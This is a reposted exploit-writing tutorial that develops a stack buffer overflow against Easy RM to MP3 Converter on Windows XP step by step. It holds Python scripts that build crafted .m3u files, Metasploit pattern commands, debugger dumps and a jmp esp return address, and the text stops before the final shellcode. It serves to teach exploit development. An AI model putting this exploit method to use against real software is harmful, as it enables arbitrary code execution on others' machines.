Exploit writing tutorial part1: Stack Based Overflows

来源:互联网 发布:同志手机聊天软件 编辑:程序博客网 时间:2024/05/17 01:26

Author: Corelan Team (corelanc0d3r)
Modify: Nixawk

This tutorial will show you how to exploit a software from stack overflow.


Requirements

  • Software: Easy RM to MP3 Converter Version 2.7.3.700.2006.09.29
  • Platform: Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600
  • Debuggers: Immunity Debugger & windbg
  • Exploit Tools: Metasploit

View the bug

Easy RM to MP3 Converter is a software for converting Real Media files into MP3 format.

First of all, let’s verify that the application does indeed crash when opening a malformatted m3u file.(or find yourself an application that crashes when you feed specifically crafted data to it).

  • http://www.exploit-db.com/exploits/8427/
  • http://www.exploit-db.com/exploits/9177/
  • http://www.exploit-db.com/exploits/9186
  • http://www.exploit-db.com/exploits/10374/

Get yourself a copy of the vulnerable version of Easy RM to MP3 Converter and install it on a computer running Windows XP SP3 english. The vulnerability report states that the exploit works on XP SP2 (english), but I’ll use XP SP3(english).

    [nixawk@core share]$ exiftool ~/share/RM2MP3Converter.exe     ExifTool Version Number         : 9.76    File Name                       : RM2MP3Converter.exe    Directory                       : /home/notfound/share    File Size                       : 564 kB    File Modification Date/Time     : 2006:09:29 18:12:06+00:00    File Access Date/Time           : 2015:02:25 10:14:22+00:00    File Inode Change Date/Time     : 2015:02:25 10:14:22+00:00    File Permissions                : rw-r--r--    File Type                       : Win32 EXE    MIME Type                       : application/octet-stream    Machine Type                    : Intel 386 or later, and compatibles    Time Stamp                      : 2006:09:29 02:12:06+00:00    PE Type                         : PE32    Linker Version                  : 6.0    Code Size                       : 241664    Initialized Data Size           : 532480    Uninitialized Data Size         : 0    Entry Point                     : 0x37854    OS Version                      : 4.0    Image Version                   : 0.0    Subsystem Version               : 4.0    Subsystem                       : Windows GUI    File Version Number             : 2.7.3.700    Product Version Number          : 2.7.3.700    File Flags Mask                 : 0x003f    File Flags                      : (none)    File OS                         : Win32    Object File Type                : Executable application    File Subtype                    : 0    Language Code                   : English (U.S.)    Character Set                   : Unicode    Comments                        :     Company Name                    : Mini-stream    File Description                : Easy RM to MP3 Converter    File Version                    : 2, 7, 3, 700    Internal Name                   : Converter    Legal Copyright                 : Copyright (C) 2004    Legal Trademarks                :     Original Filename               : RM2MP3Converter.EXE    Private Build                   :     Product Name                    : Easy RM to MP3 Converter    Product Version                 : 2, 7, 3, 700    Special Build                   : 

Quick sidenote : you can find older versions of applications at oldapps.com and oldversion.com, or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable application as wlel).

PacketStorm Exploit show us junk data size more than 26000 bytes.

We’ll use the following simple python script to create a .m3u file that may help us to discover more information about the vulnerability. For example:

    #!/usr/bin/env python    #-*- coding: utf-8 -*-    media_file = "crash.m3u"    junk = "\x41" * 27000    with open(media_file, 'w') as f:        f.write(junk)    print "m3u File Created successfully!"

If the fill size is 26000, a crash windows will popup. If the size is 27000, the program will crash.

Boom – application dies.

exploit

exploit

Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s. But what can we do with this ?


Verify the bug - and see if it could be interesting

Obviously, not every application crash can lead to an exploitation. In many cases, an application crash will not lead to exploitation. But sometimes it does. With “exploitation”, I mean that you want the application to do something it was not intended to do, such as rnning your own code. The easiest way to make an application do something different is by controlling its application flow (and redirect it to somewhere else). This can be done by controlling the Instruction Pointer (or Program Counter), which is a CPU register that contains a pointer to where the next instruction that needs to be executed is located.

Suppose an application calls a function with a parameter. Before going to the function, it saves the current location in the Instruction Pointer (so it knowns where to return when the function completes). If you can modify the value in this pointer, and point it to a location in memory that contains your own piece of code, then you can change the application flow and make it execte something different (other than returning back to the original place). The code that you want to be executed after controlling the flow is often refereed to as “shellcode”. So if we make the application run our shellcode, we can call it a working exploit. In most cases, this pointer us referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the application (and the computer the application runs on).


Determining the buffer size to write exactly into EIP

We know that EIP is located somewhere between 26000 and 27000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 26000 and 27000 bytes with the address you want to overwrite EIP with. This may work, but it looks much more nice if you can find the exact location to perform the overwrite. In order to determine the exact offset of EIP in our bffer, we need to do some additional work.

Let’s cut things in half. We’ll create a file contains 26000 A’s and another 1000 B’s. If EIP contains an 41414141 (AAAA), EIP sits between 20000 and 26000, and if EIP contains 42424242 (BBBB), EIP sits between 26000 and 27000.

    #!/usr/bin/env python    # -*- coding: utf-8 -*-    # 26000 --> 27000 crash the program    media_file = "crash.m3u"    junk = "\x41" * 26000    eip = "\x42" * 1000    with open(media_file, 'w') as f:        f.write(junk)        f.write(eip)    print "m3u file created successfully !"

Create the file and open crash.m3u in Easy RM to MP3. Stack Information show below:

(4cc.4c8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=00104a58 ecx=7c91003d edx=00ce0000 esi=77c5fce0 edi=00006978eip=42424242 esp=000ff730 ebp=003972f8 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020642424242 ??              ???0:000> dd esp L30000ff730  42424242 42424242 42424242 42424242000ff740  42424242 42424242 42424242 42424242000ff750  42424242 42424242 42424242 42424242000ff760  42424242 42424242 42424242 42424242000ff770  42424242 42424242 42424242 42424242000ff780  42424242 42424242 42424242 42424242000ff790  42424242 42424242 42424242 42424242000ff7a0  42424242 42424242 42424242 42424242000ff7b0  42424242 42424242 42424242 42424242000ff7c0  42424242 42424242 42424242 42424242000ff7d0  42424242 42424242 42424242 42424242000ff7e0  42424242 42424242 42424242 42424242

OK, so EIP contains 42424242 (BBBB), so we know EIP has an offset between 26000 and 27000. That also means that we should/may see the remaining B’s in memory where ESP points at (given that EIP was overwritten before the end of the 30000 character buffer).

That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.

Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP.

In order to find the exact location, we’ll use Metasploit or Imunity Debugger Mona script.

Metasploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP.

    [nixawk@core tools]$ ./pattern_create.rb     Usage: pattern_create.rb length [set a] [set b] [set c]    [nixawk@core tools]$ ./pattern_create.rb 1000 > ~/share/crash1000.txt

or we can do it with Immunity Debugger mona plugin.

    !mona pattern_create 1000

Edit the python script and replace the variable eip with 4000 characters created by pattern_create.rb.

    #!/usr/bin/env python    # -*- coding: utf-8 -*-    # 26000 --> 27000 crash the program    media_file = "crash.m3u"    junk = "\x41" * 26000    eip = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"    with open(media_file, 'w') as f:        f.write(junk)        f.write(eip)    print "[+] m3u file created successfully !"

Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP.

At this time, eip contains 0x41346241 (note: little endian: we have overwrittern EIP with 41 34 62 41 = A4b4)

Let’s use a second metasploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer :

    [nixawk@core tools]$ ./pattern_offset.rb     Usage: pattern_offset.rb <search item> <length of buffer>    Default length of buffer if none is inserted: 8192    This buffer is generated by pattern_create() in the Rex library automatically    [nixawk@core tools]$ ./pattern_offset.rb 0x41346241 1000    [*] Exact match at offset 42

That’s the buffer length needed to overwritten EIP. So if you create a file with 26000 + 42 A’s, and then add 4 B’s EIP should contains 42 42 42 42, We also known that ESP points at data from our buffer, so we’ll add some C’s after overwriting EIP.

Let’s try. Modify the python script to create the new m3u file.

Create crash.m3u, and open it in Easy RM to MP3. Observe the crash and look at eip and the contents of the memory at ESP:

(d8.ff8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=00104a58 ecx=7c91003d edx=00ce0000 esi=77c5fce0 edi=00006978eip=42424242 esp=000ff730 ebp=003972f8 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020642424242 ??              ???0:000> d esp-0x10 L40000ff720  "AAAAAAAABBBBCCCCCCCCCCCCCCCCCCCC"000ff740  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"0:000> dd esp-0x10 L40000ff720  41414141 41414141 42424242 43434343000ff730  43434343 43434343 43434343 43434343000ff740  43434343 43434343 43434343 43434343000ff750  43434343 43434343 43434343 43434343000ff760  43434343 43434343 43434343 43434343000ff770  43434343 43434343 43434343 43434343000ff780  43434343 43434343 43434343 43434343000ff790  43434343 43434343 43434343 43434343000ff7a0  43434343 43434343 43434343 43434343000ff7b0  43434343 43434343 43434343 43434343000ff7c0  43434343 43434343 43434343 43434343000ff7d0  43434343 43434343 43434343 43434343000ff7e0  43434343 43434343 43434343 43434343000ff7f0  43434343 43434343 43434343 43434343000ff800  43434343 43434343 43434343 43434343000ff810  43434343 43434343 43434343 43434343

So now we control EIP. On top of that, ESP points to our buffer.


Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location ?

In order to crash the application, we have written 26042 A’s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C’s.

When the application crashes, take a look at the registers and dump all of them . If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace those with shellcode and jump to that location. In our example, We can see that ESP seems to point to our C’s, so ideally we would put our shellcode instead of the C’s and we tell EIP to go to the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer.

    #!/usr/bin/env python    # -*- coding: utf-8 -*-    # 26000 --> 27000 crash the program    media_file = "crash.m3u"    junk = "\x41" * 26074    eip = "\x42" * 4    junk2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"    with open(media_file, 'w') as f:        f.write(junk)        f.write(eip)        f.write(junk2)    print "[+] m3u file created successfully !"

Create the file, open it, let the application die and dump memory at location ESP :

    EAX 00000001    ECX 7C91003D ntdll.7C91003D    EDX 003C0000    EBX 00104A58    ESP 000FF730 ASCII "a1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A    EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"    ESI 77C5FCE0 msvcrt.77C5FCE0    EDI 000069C6    EIP 42424242    <----- "BBBB"

ok, we can see 2 interesting things here:

  • ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : link here

  • After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer, so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET).

Much better ! We now have:

  • control over EIP
  • an area where we can write our code (at least 144 bytes large. If you do some more tests with longer patterns, you will see that you have even more space… plenty of space in fact)
  • a register that directly points at our code, at address 0x000ff730

Now we need to

  • build real shellcode
  • tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with 0x000ff730.

We’ll build a small test case : first 26042 A’s, then overwrite EIP with 000ff730, then put 25 NOP’s, then a break, and then more NOP’s.

If all goes well, EIP should jump 000ffd38, which contains NOPs. The code should slide until the break.


Jump to the shellcode in a reliable way

We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a different angle, ESP points directly at the beginning of our shellcode). If that would not have been the case, we would have looked to the contents of other register addresses and hope to find our buffer back. Anyways, in this particular example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP and run the shellcode.
Jumping to ESP is a very common thing in windows applications. In fact, Windows applications use one or more dll’s, and these dll’s contains lots of code instructions. Furthermore, the addresses used by these dll’s are pretty static. So if we could find a dll that contains the instruction to jump to esp, and if we could overwrite EIP with the address of that instruction in that dll, then it should work, right ?
Let’s see. First of all, we need to figure out what the opcode for “jmp esp” is.

We can do this by Launching Easy RM to MP3, then opening windbg and hook windbg to the Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to MP3). This gives us the advantage that windbg will see all dll’s/modules that are loaded by the application. (It will become clear why I mentioned this).

0:000> !load byakugan[Byakugan] Successfully loaded!0:000> !jutsu searchOpcode jmp esp[J] Searching for:> jmp esp*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Normaliz.dll - *** WARNING: Unable to verify checksum for image00400000*** ERROR: Module load completed but symbols could not be loaded for image00400000*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSLog.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSLog.dll - *** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll - *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\iphlpapi.dll - [J] Machine Code:> ff e4 [J] Executable opcode sequence found at: 0x1a484140[J] Executable opcode sequence found at: 0x1a48e7a6[J] Executable opcode sequence found at: 0x5b8abf83[J] Executable opcode sequence found at: 0x5dd52f13[J] Executable opcode sequence found at: 0x5dd52f27[J] Executable opcode sequence found at: 0x5dd540c3[J] Executable opcode sequence found at: 0x5dd54bfb[J] Executable opcode sequence found at: 0x5dd554c7[J] Executable opcode sequence found at: 0x5dd568c7[J] Executable opcode sequence found at: 0x5dd5943f[J] Executable opcode sequence found at: 0x5dd59a7b[J] Executable opcode sequence found at: 0x5de39dff[J] Executable opcode sequence found at: 0x5de3a23f[J] Executable opcode sequence found at: 0x5de3abdf[J] Executable opcode sequence found at: 0x5de3f20f[J] Executable opcode sequence found at: 0x5de4275f[J] Executable opcode sequence found at: 0x5de42bbf[J] Executable opcode sequence found at: 0x5de42c6f[J] Executable opcode sequence found at: 0x5de4316f[J] Executable opcode sequence found at: 0x5de432df[J] Executable opcode sequence found at: 0x5de4339f[J] Executable opcode sequence found at: 0x5de4366f[J] Executable opcode sequence found at: 0x5de43c6f[J] Executable opcode sequence found at: 0x5de43f8f[J] Executable opcode sequence found at: 0x5de441af[J] Executable opcode sequence found at: 0x5de4425f[J] Executable opcode sequence found at: 0x5de4431f[J] Executable opcode sequence found at: 0x5de4453f[J] Executable opcode sequence found at: 0x5de4477f[J] Executable opcode sequence found at: 0x5de44b2f[J] Executable opcode sequence found at: 0x5de4502f[J] Executable opcode sequence found at: 0x5de4606f[J] Executable opcode sequence found at: 0x5de5180f[J] Executable opcode sequence found at: 0x63011881[J] Executable opcode sequence found at: 0x63011a7e[J] Executable opcode sequence found at: 0x6305a21d[J] Executable opcode sequence found at: 0x6305be27[J] Executable opcode sequence found at: 0x6305d6b3[J] Executable opcode sequence found at: 0x63061a64[J] Executable opcode sequence found at: 0x63062995[J] Executable opcode sequence found at: 0x63062ae4[J] Executable opcode sequence found at: 0x63064e4b[J] Executable opcode sequence found at: 0x63076e2b[J] Executable opcode sequence found at: 0x6309a3ea[J] Executable opcode sequence found at: 0x6309b3ea[J] Executable opcode sequence found at: 0x662eb24f[J] Executable opcode sequence found at: 0x71a91c8b[J] Executable opcode sequence found at: 0x73e32ecf[J] Executable opcode sequence found at: 0x73e74206[J] Executable opcode sequence found at: 0x74751873[J] Executable opcode sequence found at: 0x7608bce1[J] Executable opcode sequence found at: 0x769d210f[J] Executable opcode sequence found at: 0x769ea9a7[J] Executable opcode sequence found at: 0x769eb271[J] Executable opcode sequence found at: 0x769eb6d1[J] Executable opcode sequence found at: 0x769ecf49[J] Executable opcode sequence found at: 0x76b43adc[J] Executable opcode sequence found at: 0x76d539e3[J] Executable opcode sequence found at: 0x76e82313[J] Executable opcode sequence found at: 0x770058ef[J] Executable opcode sequence found at: 0x77156342[J] Executable opcode sequence found at: 0x773f36f8[J] Executable opcode sequence found at: 0x77559bff[J] Executable opcode sequence found at: 0x7755a930[J] Executable opcode sequence found at: 0x775a996b[J] Executable opcode sequence found at: 0x775c068d[J] Executable opcode sequence found at: 0x77963da3[J] Executable opcode sequence found at: 0x77967b13[J] Executable opcode sequence found at: 0x7796fc03[J] Executable opcode sequence found at: 0x77c72fad[J] Executable opcode sequence found at: 0x77c88f05[J] Executable opcode sequence found at: 0x77cc33b9[J] Executable opcode sequence found at: 0x77ce44f7[J] Executable opcode sequence found at: 0x77def049[J] Executable opcode sequence found at: 0x77df965b[J] Executable opcode sequence found at: 0x77e18063[J] Executable opcode sequence found at: 0x77e23b63[J] Executable opcode sequence found at: 0x77e42a9f[J] Executable opcode sequence found at: 0x77e8560a[J] Executable opcode sequence found at: 0x77e9025b[J] Executable opcode sequence found at: 0x77f31d2f[J] Executable opcode sequence found at: 0x77fab227[J] Executable opcode sequence found at: 0x7c86467b[J] Executable opcode sequence found at: 0x7c9d30d7[J] Executable opcode sequence found at: 0x7c9d30eb[J] Executable opcode sequence found at: 0x7c9d30ff[J] Executable opcode sequence found at: 0x7c9d313b[J] Executable opcode sequence found at: 0x7c9d314f[J] Executable opcode sequence found at: 0x7c9d3163[J] Executable opcode sequence found at: 0x7c9d318b[J] Executable opcode sequence found at: 0x7c9d319f[J] Executable opcode sequence found at: 0x7c9d31b3[J] Executable opcode sequence found at: 0x7c9d31c7[J] Executable opcode sequence found at: 0x7c9d31db[J] Executable opcode sequence found at: 0x7c9d31ef[J] Executable opcode sequence found at: 0x7c9d3203[J] Executable opcode sequence found at: 0x7c9d3217[J] Executable opcode sequence found at: 0x7cb3fa1e[J] Executable opcode sequence found at: 0x7cb48eed[J] Executable opcode sequence found at: 0x7e429353[J] Executable opcode sequence found at: 0x7e4456f7[J] Executable opcode sequence found at: 0x7e455af7[J] Executable opcode sequence found at: 0x7e45b310

Excellent. (I did not expect otherwise… jmp esp is a pretty common instruction). When selecting an address, it is important to look for null bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable).

Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work.

Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes.

If we now overwrite EIP with 0x7c86467b, a jmp esp will be executed. Esp contains our shellcode… so we should now have a working exploit. Let’s test with our “NOP & break” shellcode.

Stack Information here:

0:000> reax=00000001 ebx=00104e0e ecx=7c91003d edx=00ce0000 esi=77c5fce0 edi=00006978eip=000ffae6 esp=000ff730 ebp=003972f8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202000ffae6 004141          add     byte ptr [ecx+41h],al      ds:0023:7c91007e=56

Run the application again, The application now breaks at address 000ffae6, which is the location of our first break. So the jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ffae6).

All we need to do now is put in our real shellcode and finalize the exploit.

Note: we need more to avoid bad chars in shellcode. View the video online here.


avoid bad chars

Before shellcode, we need to avoid bad chars in shellcode with [!mona bytearray] and [!mona compare].

You can write demo python script and create bad chars list:

$ cat create_badchars.py#!/usr/bin/env python# -*- coding: utf8 -*-chars = ["\\x%02X" % i for i in range(0, 256, 1)]print "".join(chars)
$ python create_badchars.py\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF

Create crash.m3u with code:

#!/usr/bin/env python# -*- coding: utf-8 -*-# 26000 --> 27000 crash the programmedia_file = "crash.m3u"junk = "\x41" * 26042eip = "\x7b\x46\x86\x7c"  # kernel32.dll - 0x7c86467b - jmp espbadchars = 